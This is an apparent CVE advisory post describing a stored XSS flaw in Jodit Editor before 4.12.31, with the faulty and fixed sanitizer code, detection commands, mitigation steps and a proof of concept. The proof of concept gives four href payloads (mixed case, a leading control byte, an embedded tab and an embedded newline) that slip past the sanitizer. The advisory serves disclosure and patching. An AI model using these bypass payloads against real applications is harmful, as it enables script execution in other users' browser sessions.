Listen to this Post
Jodit Editor is a popular WYSIWYG editor written in TypeScript, widely used in web applications for rich text editing. Prior to version 4.12.31, Jodit contained a stored cross-site scripting (XSS) vulnerability stemming from an incomplete sanitization routine for `javascript:` scheme URLs within `href` attributes.
The core issue resides in the `sanitizeHTMLElement` function, located at src/core/helpers/html/safe-html.ts:213. This function attempts to neutralize dangerous `javascript:` links by checking href.trim().indexOf('javascript') === 0. However, this check has critical flaws: it is case-sensitive, it does not strip control characters, and it fails to normalize whitespace within the scheme.
By contrast, Jodit’s own `isDangerousUrl()` function (line 176) is used for all other URL attributes like src, data, and action. This function correctly normalizes input by removing control bytes (/[\u0000-\u0020]+/g) and converting the string to lowercase before testing the scheme. The `href` attribute is explicitly exempted from this robust routine, leaving it vulnerable.
This oversight allows an attacker to bypass the sanitizer using three distinct obfuscation techniques:
1. Case Variants: Using mixed-case schemes like JAVASCRIPT:, Javascript:, or `jaVaScRiPt:` which the case-sensitive check fails to detect.
2. Leading Control Bytes: Prefixing the scheme with a C0 control character (e.g., \x01javascript:) which `trim()` does not remove, but the browser strips before resolving the URL.
3. Embedded Whitespace: Inserting tabs or newlines within the scheme (e.g., `java\tscript:` or java\nscript:) which breaks the `indexOf` match but is normalized by the browser.
A crafted malicious `href` survives both the synchronous `editor.value =` assignment and the asynchronous on-change LazyWalker sanitization paths. The payload persists in the stored editor value. When any consumer renders this stored value—whether in a read-only editor, a server-rendered page, or via an `innerHTML` assignment—a victim clicking the link will execute attacker-controlled JavaScript in the context of the page’s origin. The vulnerability is fixed in version 4.12.31.
DailyCVE Form
Platform: Jodit Editor
Version: < 4.12.31
Vulnerability: Stored XSS
Severity: Medium (CVSS 5.4)
date: 2026-07-31
Prediction: 2026-07-31
What Undercode Say
Check installed version of jodit
npm list jodit
Check for the vulnerable sanitizeHTMLElement function
grep -rn "href.trim().indexOf('javascript')" node_modules/jodit/src/core/helpers/html/safe-html.ts
Verify the isDangerousUrl function is present but not used for href
grep -A 5 "function isDangerousUrl" node_modules/jodit/src/core/helpers/html/safe-html.ts
Vulnerable Code Snippet (src/core/helpers/html/safe-html.ts:213):
if (safeJavaScriptLink && href && href.trim().indexOf('javascript') === 0) {
attr(elm, 'href', location.protocol + '//' + href);
effected = true;
}
Secure Code Snippet (isDangerousUrl, line 176):
function isDangerousUrl(value, tagName) {
const normalized = value.replace(/[\u0000-\u0020]+/g, '').toLowerCase();
if (/^(?:javascript|vbscript|livescript|mocha):/.test(normalized)) {
return true;
}
// ...
}
Exploit
Proof of Concept:
const editor = Jodit.make('editor');
// Payload 1: Case variant
editor.value = '<a href="JAVASCRIPT:alert(document.domain)">click me</a>';
// Payload 2: Leading control byte (\x01)
editor.value = '<a href="\x01javascript:alert(document.domain)">click me</a>';
// Payload 3: Embedded tab
editor.value = '<a href="java\tscript:alert(document.domain)">click me</a>';
// Payload 4: Embedded newline
editor.value = '<a href="java\nscript:alert(document.domain)">click me</a>';
// The payload persists in the stored value
document.getElementById('view').innerHTML = editor.value;
// Clicking any link triggers alert(document.domain)
Positive Controls (Sanitizer works as expected):
// Plain lowercase javascript: is neutralized editor.value = '<a href="javascript:alert(1)">safe</a>'; // Result: href becomes location.protocol + '//' + href (e.g., about://javascript:...) // XSS via img onerror is stripped editor.value = '<img src=x onerror=alert(1)>'; // Result: onerror attribute is removed
Protection
- Upgrade Jodit: Immediately upgrade to version 4.12.31 or later, which patches this vulnerability.
- Apply the Fix Manually: If upgrading is not immediately possible, apply the following code change to
src/core/helpers/html/safe-html.ts:</li> </ol> - if (safeJavaScriptLink && href && href.trim().indexOf('javascript') === 0) { + if (safeJavaScriptLink && href && isDangerousUrl(href, elm.nodeName.toLowerCase())) { attr(elm, 'href', location.protocol + '//' + href); effected = true; }3. Re-sanitize Output: Ensure any consumer that renders editor output applies its own sanitization (e.g., using DOMPurify) before inserting into the DOM.
4. Content Security Policy (CSP): Implement a strict CSP that disallows `javascript:` URI execution (e.g.,script-src 'self') to mitigate the impact of any bypass.Impact
Stored Click-XSS: An attacker with write access to an editor instance (e.g., a content author or commenter in a multi-user application) can store a crafted `javascript:` link. Any user who clicks this link in a view that renders the stored value (read-only editor, server-rendered page, or `innerHTML` consumer) will execute attacker-controlled JavaScript in that page’s origin. One user interaction (the click) is required. Applications that re-sanitize editor output before rendering are not affected.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by ThousandsSources:
Reported By: github.com
Extra Source Hub:
Undercode🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]
📢 Follow DailyCVE & Stay Tuned:

